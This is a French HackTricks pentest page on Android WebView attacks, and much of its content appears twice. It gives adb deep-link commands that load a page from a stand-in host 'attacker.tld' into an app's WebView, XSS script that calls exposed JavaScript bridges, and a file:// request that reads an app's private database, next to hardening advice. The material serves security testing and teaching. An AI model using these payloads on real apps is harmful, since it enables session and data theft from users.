Attaques WebView
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Guide sur les configurations et la sécurité de WebView
Aperçu des vulnérabilités de WebView
Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.
AccĂšs aux fichiers dans les WebViews
Par défaut, les WebViews permettent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess()
, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file
).
Fonctionnalités obsolÚtes : AccÚs universel et accÚs aux fichiers depuis des URL
- AccĂšs universel depuis des URL de fichiers : Cette fonctionnalitĂ© obsolĂšte permettait des requĂȘtes inter-origines depuis des URL de fichiers, posant un risque de sĂ©curitĂ© significatif en raison des potentielles attaques XSS. Le paramĂštre par dĂ©faut est dĂ©sactivĂ© (
false
) pour les applications ciblant Android Jelly Bean et les versions plus récentes. - Pour vérifier ce paramÚtre, utilisez
getAllowUniversalAccessFromFileURLs()
. - Pour modifier ce paramĂštre, utilisez
setAllowUniversalAccessFromFileURLs(boolean)
. - AccÚs aux fichiers depuis des URL de fichiers : Cette fonctionnalité, également obsolÚte, contrÎlait l'accÚs au contenu d'autres URL de schéma de fichiers. Comme l'accÚs universel, son paramÚtre par défaut est désactivé pour une sécurité accrue.
- Utilisez
getAllowFileAccessFromFileURLs()
pour vérifier etsetAllowFileAccessFromFileURLs(boolean)
pour définir.
Chargement sécurisé de fichiers
Pour désactiver l'accÚs au systÚme de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess()
est utilisée. Avec Android R et versions ultérieures, le paramÚtre par défaut est false
.
- Vérifiez avec
getAllowFileAccess()
. - Activez ou désactivez avec
setAllowFileAccess(boolean)
.
WebViewAssetLoader
La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accĂ©der aux actifs et ressources locaux, s'alignant sur la politique de mĂȘme origine, facilitant ainsi la gestion de CORS.
loadUrl
C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :
webview.loadUrl("<url here>")
Bien sĂ»r, un attaquant potentiel ne devrait jamais ĂȘtre en mesure de contrĂŽler l'URL qu'une application va charger.
Gestion de JavaScript et du schéma Intent
- JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via
setJavaScriptEnabled()
. La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité. - Schéma Intent : Les WebViews peuvent gérer le schéma
intent
, ce qui peut conduire Ă des exploits s'il n'est pas gĂ©rĂ© avec soin. Une vulnĂ©rabilitĂ© d'exemple impliquait un paramĂštre WebView exposĂ© "support_url" qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques de cross-site scripting (XSS).
Exemple d'exploitation utilisant adb :
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView âes support_url "https://example.com/xss.html"
Javascript Bridge
Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface
, qui intÚgre JavaScript avec les fonctionnalités natives d'Android, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.
- Une extrĂȘme prudence est requise pour les applications ciblant les versions Android infĂ©rieures Ă 4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă distance via du JavaScript malveillant, exploitant la rĂ©flexion.
Implementing a JavaScript Bridge
- Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă JavaScript :
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- Le pont JavaScript est activé en ajoutant une interface au WebView :
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
<script>
alert(javascriptBridge.getSecret())
</script>
- Pour attĂ©nuer les risques, limitez l'utilisation du pont JavaScript au code expĂ©diĂ© avec l'APK et empĂȘchez le chargement de JavaScript Ă partir de sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau API minimum Ă 17.
Exécution de Code à Distance Basée sur la Réflexion (RCE)
- Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation
@JavascriptInterface
empĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant ainsi la surface d'attaque.
Débogage à Distance
- Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.
Activation du Débogage à Distance
- Le dĂ©bogage Ă distance peut ĂȘtre activĂ© pour tous les WebViews au sein d'une application en :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Pour activer le débogage de maniÚre conditionnelle en fonction de l'état débogable de l'application :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrer des fichiers arbitraires
- Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Attaques WebView
Guide sur les configurations et la sécurité de WebView
Aperçu des vulnérabilités de WebView
Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.
AccĂšs aux fichiers dans les WebViews
Par défaut, les WebViews permettent l'accÚs aux fichiers. Cette fonctionnalité est contrÎlée par la méthode setAllowFileAccess()
, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file
).
Fonctionnalités obsolÚtes : AccÚs universel et accÚs aux fichiers depuis des URL
- AccĂšs universel depuis des URL de fichiers : Cette fonctionnalitĂ© obsolĂšte permettait des requĂȘtes inter-origines depuis des URL de fichiers, posant un risque de sĂ©curitĂ© significatif en raison des attaques XSS potentielles. Le paramĂštre par dĂ©faut est dĂ©sactivĂ© (
false
) pour les applications ciblant Android Jelly Bean et les versions ultérieures. - Pour vérifier ce paramÚtre, utilisez
getAllowUniversalAccessFromFileURLs()
. - Pour modifier ce paramĂštre, utilisez
setAllowUniversalAccessFromFileURLs(boolean)
. - AccÚs aux fichiers depuis des URL de fichiers : Cette fonctionnalité, également obsolÚte, contrÎlait l'accÚs au contenu d'autres URL de schéma de fichiers. Comme l'accÚs universel, son paramÚtre par défaut est désactivé pour une sécurité accrue.
- Utilisez
getAllowFileAccessFromFileURLs()
pour vérifier etsetAllowFileAccessFromFileURLs(boolean)
pour définir.
Chargement sécurisé de fichiers
Pour désactiver l'accÚs au systÚme de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess()
est utilisée. Avec Android R et versions ultérieures, le paramÚtre par défaut est false
.
- Vérifiez avec
getAllowFileAccess()
. - Activez ou désactivez avec
setAllowFileAccess(boolean)
.
WebViewAssetLoader
La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accĂ©der aux actifs et ressources locaux, s'alignant sur la politique de mĂȘme origine, facilitant ainsi la gestion CORS.
loadUrl
C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :
webview.loadUrl("<url here>")
Bien sĂ»r, un attaquant potentiel ne devrait jamais ĂȘtre en mesure de contrĂŽler l'URL qu'une application va charger.
Deep-linking dans WebView interne (schĂ©ma personnalisĂ© â WebView sink)
De nombreuses applications enregistrent des schémas/chemins personnalisés qui dirigent une URL fournie par l'utilisateur vers un WebView intégré à l'application. Si le lien profond est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à rendre un contenu distant arbitraire à l'intérieur de son contexte WebView.
ModÚle de manifeste typique (simplifié) :
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Flux de code commun (simplifié) :
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
ModĂšle d'attaque et PoC via adb :
# Template â force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact : la page distante s'exécute dans le contexte de l'application WebView (cookies/session du profil WebView de l'application, accÚs à tout @JavascriptInterface exposé, accÚs potentiel à content:// et file:// selon les paramÚtres).
Conseils de chasse :
- Grep des sources décompilées pour
getQueryParameter("url")
,loadUrl(
, des sinks WebView, et des gestionnaires de deep-link (onCreate/onNewIntent
). - Examinez le manifeste pour les filtres VIEW+BROWSABLE et les schémas/hÎtes personnalisés qui correspondent à des activités qui démarrent ensuite un WebView.
- Vérifiez s'il existe plusieurs chemins de deep-link (par exemple, un chemin "navigateur externe" contre un chemin "webview interne") et préférez celui qui s'affiche à l'intérieur de l'application.
Activation de JavaScript avant vérification (bug d'ordre de vérification)
Une erreur de durcissement frĂ©quente consiste Ă activer JavaScript ou Ă configurer des paramĂštres WebView assouplis avant que la liste blanche finale/la vĂ©rification de l'URL cible ne soit terminĂ©e. Si la vĂ©rification est incohĂ©rente entre les helpers ou se produit trop tard, un lien profond d'attaquant peut atteindre un Ă©tat oĂč :
- Les paramĂštres WebView s'appliquent (par exemple,
setJavaScriptEnabled(true)
), et - L'URL non fiable est chargée avec JavaScript activé.
ModĂšle de bug (pseudocode) :
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late â JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Pourquoi c'est exploitable
- Normalisation incohérente : les helpers divisent/reconstruisent l'URL différemment de la vérification finale, créant des incohérences qu'une URL malveillante peut exploiter.
- Pipeline dĂ©sordonnĂ© : activer JS Ă l'Ă©tape 2 s'applique globalement Ă l'instance WebView, affectant le chargement final mĂȘme si la vĂ©rification Ă©choue par la suite.
Comment tester
- Créez des charges utiles de deep-link qui passent les vérifications initiales et atteignent le site de configuration WebView.
- Utilisez adb pour déclencher des intents VIEW implicites livrant un paramÚtre
url=
contrÎlé par vous :
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Si l'exploitation réussit, votre payload exécute JavaScript dans le WebView de l'application. De là , recherchez des ponts exposés :
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Directives défensives
- Canonicalisez une fois ; validez strictement contre une seule source de vĂ©ritĂ© (schĂ©ma/hĂŽte/chemin/requĂȘte).
- N'appelez
setJavaScriptEnabled(true)
qu'aprĂšs que tous les contrĂŽles de liste blanche aient rĂ©ussi et juste avant de charger du contenu de confiance. - Ăvitez d'exposer
@JavascriptInterface
à des origines non fiables ; préférez le contrÎle par origine. - Envisagez des instances par WebView pour le contenu de confiance par rapport au contenu non fiable, avec JS désactivé par défaut.
Gestion de JavaScript et des schémas d'intention
- JavaScript : DĂ©sactivĂ© par dĂ©faut dans les WebViews, il peut ĂȘtre activĂ© via
setJavaScriptEnabled()
. La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité. - Schéma d'intention : Les WebViews peuvent gérer le schéma
intent
, ce qui peut conduire Ă des exploits s'il n'est pas gĂ©rĂ© avec soin. Une vulnĂ©rabilitĂ© d'exemple impliquait un paramĂštre WebView exposĂ© "support_url" qui pouvait ĂȘtre exploitĂ© pour exĂ©cuter des attaques de cross-site scripting (XSS).
Exemple d'exploitation utilisant adb :
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView âes support_url "https://example.com/xss.html"
Javascript Bridge
Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface
, qui intÚgre JavaScript avec les fonctionnalités natives d'Android, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.
- Une extrĂȘme prudence est requise pour les applications ciblant les versions Android infĂ©rieures Ă 4.2 en raison d'une vulnĂ©rabilitĂ© permettant l'exĂ©cution de code Ă distance via du JavaScript malveillant, exploitant la rĂ©flexion.
Implementing a JavaScript Bridge
- Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples oĂč une mĂ©thode de classe est exposĂ©e Ă JavaScript :
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge est activé en ajoutant une interface au WebView :
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
<script>
alert(javascriptBridge.getSecret())
</script>
- Pour attĂ©nuer les risques, limitez l'utilisation du pont JavaScript au code expĂ©diĂ© avec l'APK et empĂȘchez le chargement de JavaScript Ă partir de sources distantes. Pour les appareils plus anciens, dĂ©finissez le niveau API minimum Ă 17.
Exécution de Code à Distance Basée sur la Réflexion (RCE)
- Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation
@JavascriptInterface
empĂȘche l'accĂšs non autorisĂ© aux mĂ©thodes, limitant ainsi la surface d'attaque.
Débogage à Distance
- Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.
Activation du Débogage à Distance
- Le dĂ©bogage Ă distance peut ĂȘtre activĂ© pour tous les WebViews au sein d'une application en :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Pour activer le débogage de maniÚre conditionnelle en fonction de l'état débogable de l'application :
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrer des fichiers arbitraires
- Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Références
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations â Part II
- Deep Links & WebViews Exploitations â Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.